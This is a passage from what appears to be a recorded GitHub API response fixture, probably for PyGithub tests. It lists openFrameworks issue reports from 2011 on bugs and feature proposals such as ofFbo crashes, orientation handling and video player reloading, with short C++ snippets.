named","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-03-22T06:47:02Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":693126,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/510"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=11 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '39552'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"606aaf570390fb916af9285c189a2d03"'), ('date', 'Tue, 29 May 2012 06:43:43 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-03-21T01:01:25Z","body":"i accidentally initialized my ofFbo with setupShadow() instead of setup(), and when i said draw() it caused EXC_BAD_ACCESS. draw() calls getTexture(), so maybe the best way to handle this is to put a check inside getTexture() like this:\r\n\r\n\tif(textures.size() == 0) {\r\n\t\tofLog(OF_LOG_ERROR, \"You must call ofFbo::setup() before you can use an FBO\");\r\n\t}\r\n\treturn textures[attachmentPoint];","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/507","comments":0,"milestone":null,"number":507,"assignee":null,"closed_at":null,"title":"ofFbo::draw() causes EXC_BAD_ACCESS when setup() isn't called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-03-21T01:01:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":689769,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/507"},{"updated_at":"2011-03-20T17:35:05Z","body":"i know the reason for this is because the mappings are OS and mouse dependent, and that it's GLUT slowing us down here, but i think we could at least add a guess like OF_MOUSE_LEFT = 0, OF_MOUSE_MIDDLE= 1, OF_MOUSE_RIGHT = 2, etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/503","comments":0,"milestone":null,"number":503,"assignee":null,"closed_at":null,"title":"no OF_MOUSE_LEFT or OF_MOUSE_RIGHT","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-03-20T17:35:05Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":688955,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/503"},{"updated_at":"2011-12-02T15:48:41Z","body":"you need to use bUse3D flag but even then graphics aren't saved to pdf as they look on screen. \r\ntry the OF_ORIENTATION_90_LEFT or 90_RIGHT to reproduce. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/502","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":16,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":502,"assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"closed_at":null,"title":"ofSetOrientation doesn't work for cairo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-03-18T09:17:36Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":684091,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/502"},{"updated_at":"2011-03-18T03:56:02Z","body":"it looks like ofGLRenderer::drawString is currently overriding whatever the current blend mode is:\n\n\tglEnable(GL_BLEND);\n\tglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n\nand then setting it back later.\n\ni'm guessing this is so the empty/alpha part of the bitmap font is drawn.\n\ninstead of using glBlendFunc i would suggest glAlphaFunc... but it looks like as of OpenGL ES 2.0 glAlphaFunc doesn't exist anymore :(\n\nnot sure what to do, but it's really weird to have ofSetColor(255) work, but not ofSetColor(255, 254). e.g.:\n\n\tofBackground(128);\n\tofEnableAlphaBlending();\n\tofSetColor(255, 254);\n\tofDrawBitmapString(\"255, 254\", 10, 20);\n\tofSetColor(255, 255);\n\tofDrawBitmapString(\"255, 255\", 10, 40);\n\tofDisableAlphaBlending();","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/501","comments":0,"milestone":null,"number":501,"assignee":null,"closed_at":null,"title":"ofDrawBitmapString / ofGLRenderer::drawString doesn't work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-03-18T03:54:34Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":683732,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/501"},{"updated_at":"2011-12-03T10:41:35Z","body":"right now ofImage::getPixelsRef() is always non-const, as well as ofImage::getPixels()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/500","comments":4,"milestone":null,"number":500,"assignee":null,"closed_at":null,"title":"missing const version of getPixelsRef()","labels":[],"created_at":"2011-03-14T19:14:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":672608,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/500"},{"updated_at":"2011-03-09T16:17:56Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=5729&view=unread#unread","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/495","comments":0,"milestone":null,"number":495,"assignee":null,"closed_at":null,"title":"osx movieplayer problem on reloading","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-03-09T16:17:56Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":659446,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/495"},{"updated_at":"2011-03-04T14:44:53Z","body":"it seems that some commented defines are still being preprocessed and making gdb behave weird:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=4&t=5602&view=unread#unread","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/491","comments":0,"milestone":null,"number":491,"assignee":null,"closed_at":null,"title":"GLUT 007 hack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-03-04T14:44:53Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":646846,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/491"},{"updated_at":"2011-03-03T16:35:17Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5678&view=unread#unread\r\n\r\nperhaps use style.linewith? won't work if you use glLineWidth though","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/490","comments":0,"milestone":null,"number":490,"assignee":null,"closed_at":null,"title":"close corners on basic shapes?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-03-03T16:35:17Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":643861,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/490"},{"updated_at":"2012-03-10T04:50:03Z","body":"the existing iOS orientation methods are not compatible with the virtual functions that they inherit from. The new virtuals use a ofOrientation enum, and the old functions use ints.\r\n\r\nThis issue was introduced in https://github.com/openframeworks/openFrameworks/commit/38011d54","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/486","comments":0,"milestone":null,"number":486,"assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"closed_at":null,"title":"ofOrientation incompatible with iOS addon","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-02-28T18:14:04Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":635112,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/486"},{"updated_at":"2012-04-24T21:04:32Z","body":"it would be nice to start deprecating grabFrame() and idleFrame() (but maybe wait a couple years to actually remove them) , and change the examples to only use update() and isFrameNew().","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/484","comments":12,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_issues":0,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":484,"assignee":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"closed_at":null,"title":"grabFrame/idleFrame deprecation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-02-20T17:56:02Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":613171,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/484"},{"updated_at":"2011-02-14T17:11:08Z","body":"Within 0062, inside libs/openFrameworks/video/ofVideoPlayer.cpp on line 314 there is a check for height and width not being 0, then \"bDoWeAlreadyHaveAGworld = true;\" is set. However, this prevents other movies after the first from being loaded into that instance of ofVideoPlayer. \r\nI have posted about this in the forum with a fix (to just remove that check) here: http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222\r\n\r\nInside the latest code, it is within ofQuickTimePlayer.cpp https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/video/ofQuickTimePlayer.cpp#L281.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/475","comments":0,"milestone":null,"number":475,"assignee":null,"closed_at":null,"title":"ofVideoPlayer bug when loading subsequent movies after the first one","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-02-14T17:11:08Z","state":"open","user":{"url":"https://api.github.com/users/nemik","avatar_url":"https://secure.gravatar.com/avatar/ace632f74988653fdbde09225134bfdd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"ace632f74988653fdbde09225134bfdd","login":"nemik","id":62301},"id":598097,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/475"},{"updated_at":"2011-02-07T19:58:23Z","body":"I like to be able to know when an object has successfully initialized or loaded and OF provides for this, for the most part, but in an inconsistent manner ie\r\n\r\nofVideoGrabber::initGrabber() returns a bool, but ofVideoGrabber:bInitialized is protected and therefore not accessible\r\n\r\nwhile\r\n\r\nofTrueTypeFont::bLoadedOk is public, but ofTrueTypeFont::loadFont() returns void\r\n\r\nand\r\n\r\nofImage::loadImage() returns a bool and ofLoadImage::bAllocated() returns a bool, yet ofImage::setFromPixels() returns void\r\n\r\nI propose all loadable/initable objects have loading functions which always return a bool and a testable function (isInited(), isLoaded(), etc) for use after loading. Ideally, the testable functions would always be named the same ie myImage.isLoaded(), myVideoGrabber().isLoaded(), myFont.isLoaded() but of course a general name may not apply to all situations (myVideoGrabber.isInited() probably makes more sense).\r\n\r\nHell, all the load functions could be overloaded ie ofImage::load(string filename), ofImage::load(ofPixels pixels), ofImage::load(unsigned char* pixels) across different objects, ofTrueTypeFont::load(string filename), ofVideoGrabber::load(int w, int h, int deviceID). This consistency looks nice to anal me. but might be confusing to newbies and of course would break old code (unless wrapped for legacy compatibility). It seems a little annoying that every objects seems to have it's own way of checking this and that ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463","comments":0,"milestone":null,"number":463,"assignee":null,"closed_at":null,"title":"object init/load state is not consistently testable","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-02-07T19:58:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":581395,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/463"},{"updated_at":"2011-02-07T15:58:19Z","body":"Hi,\r\n\r\nI get the following error:\r\n// INIT OF ERROR\r\nOF_WARNING: ofBaseVideoPlayer::setPixelFormat not implemented\r\nOpenCV Error: Assertion failed (src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F))) in cvSobel, file /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp, line 347\r\nterminate called after throwing an instance of 'cv::Exception'\r\n what(): /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp:347: error: (-215) src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F)) in function cvSobel\r\n// END OF ERROR\r\n\r\nWhen I try to call the cvSobel method like this:\r\ncvSobel( grayImage.getCvImage(), grayImage.getCvImage(), 0, 1, 3 );\r\n\r\nThis works fine in 0062.\r\n\r\nCheers\r\n- rS","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462","comments":0,"milestone":null,"number":462,"assignee":null,"closed_at":null,"title":"OpenCV cvSobel() not working with latest master branch","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-02-07T15:58:19Z","state":"open","user":{"url":"https://api.github.com/users/nardove","avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","login":"nardove","id":277690},"id":580717,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/462"},{"updated_at":"2011-02-07T19:38:51Z","body":"Currently, the ofVideoGrabber can list devices to stdout, but does not return the number of available devices. I propose that either listDevices() return an int or a new function be added, something like getNumDevices() or a getDeviceNums() which returns a vector of valid device ids. This could be related to Arturo's Issue where the devices could be retrieved as strings. I think it makes sense to have these as static functions so that you could open all available cameras into an Array of ofVideoGrabbers by retrieving the number of devices and their ids to open them.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/461","comments":0,"milestone":null,"number":461,"assignee":null,"closed_at":null,"title":"get number of input devices and device IDs from ofVideoGrabber","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-02-07T15:24:21Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":580556,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/461"},{"updated_at":"2012-03-08T15:56:48Z","body":"i feel like it happens relatively often where i try to save an image (for example) and the parent directories don't exist, so it just fails without really saying anything.\r\n\r\nit would be nice if the dir(s) were just created automatically for you.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460","comments":8,"milestone":null,"number":460,"assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"closed_at":null,"title":"saveImage() and other save operations should create missing directories","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-02-07T07:52:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":579790,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/460"},{"updated_at":"2011-02-06T04:26:44Z","body":"ofPixels::allocate is smart in that it doesn't reallocate if you ask for the same size as what's already there. ofTexture should work the same way to avoid unnecessary overhead.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454","comments":0,"milestone":null,"number":454,"assignee":null,"closed_at":null,"title":"ofTexture::allocate not checking for unnecessary reallocation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-02-06T04:26:44Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":578069,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/454"},{"updated_at":"2011-02-02T00:03:09Z","body":"maybe a generic 'transformer' function would handle both this and mouse coordinates, and anything else? ofPoint ofGetAsbolutePosition(x,y)?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449","comments":0,"milestone":null,"number":449,"assignee":null,"closed_at":null,"title":"ofViewport doesn't work with ofSetOrientation","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-02-02T00:03:09Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":568540,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/449"},{"updated_at":"2011-01-31T19:26:41Z","body":"ofVideoGrabber has getOFPixels in the .h, but it isn't implemented in the .cpp.\r\n\r\nmaybe this is just a signal that ofPixels stuff needs to be resolved soon... :) i'd be glad to help with this if possible.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446","comments":0,"milestone":null,"number":446,"assignee":null,"closed_at":null,"title":"no way to get imageType of ofVideoGrabber","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-01-31T19:26:41Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":565122,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/446"},{"updated_at":"2011-01-28T06:28:01Z","body":"the start time is stored internally as an unsigned long, but ofGetElapsedTimeMillis returns it as an int. ofGetElapsedTimef also does calculations using time as an int. this means time wraps around every (2^31 - 1) milliseconds in days = 24.8 days.\r\n\r\nas an unsigned long it would be (2^64 - 1) milliseconds in years = 584 million years :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/428","comments":0,"milestone":null,"number":428,"assignee":null,"closed_at":null,"title":"ofGetElapsedTimeMillis returns an int instead of unsigned long","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"created_at":"2011-01-28T06:28:01Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":558215,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/428"},{"updated_at":"2011-12-02T21:05:54Z","body":"I thought checking for custom texture wrapping in ofShader might be useful. Not sure how to add a label to this :/\n\n#include ofGraphics.h\n\nvoid setUniformTexture(const char* name, ofBaseHasTexture& img, int textureLocation=-1);\nvoid setUniformTexture(const char* name, ofTexture& img, int textureLocation=-1);\n\nvoid ofShader::setUniformTexture(const char* name, ofTexture& tex, int textureLocation) {\n\tif(bLoaded) {\n\t\t\n\t\tGLfloat wrapS = -1;\n\t\tGLfloat wrapT = -1;\n\t\t\n\t\tif (ofGetUsingCustomTextureWrap()) {\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, &wrapS);\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, &wrapT);\n\t\t}\n\t\t\n\t\tofTextureData texData = tex.getTextureData();\n\t\tif (textureLocation < 0) textureLocation = texData.textureID;\n\t\tglActiveTexture(GL_TEXTURE0 + textureLocation);\n\t\tglEnable(texData.textureTarget);\n\t\t\n\t\tif(wrapS > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrapS);\n\t\tif(wrapT > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrapT);\n\t\t\n\t\tglBindTexture(texData.textureTarget, texData.textureID);\n\t\tglDisable(texData.textureTarget);\n\t\tsetUniform1i(name, texData.textureID);\n\t\tglActiveTexture(GL_TEXTURE0);\n\t}\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424","comments":1,"milestone":null,"number":424,"assignee":null,"closed_at":null,"title":"Check ofShader Texture Wrap 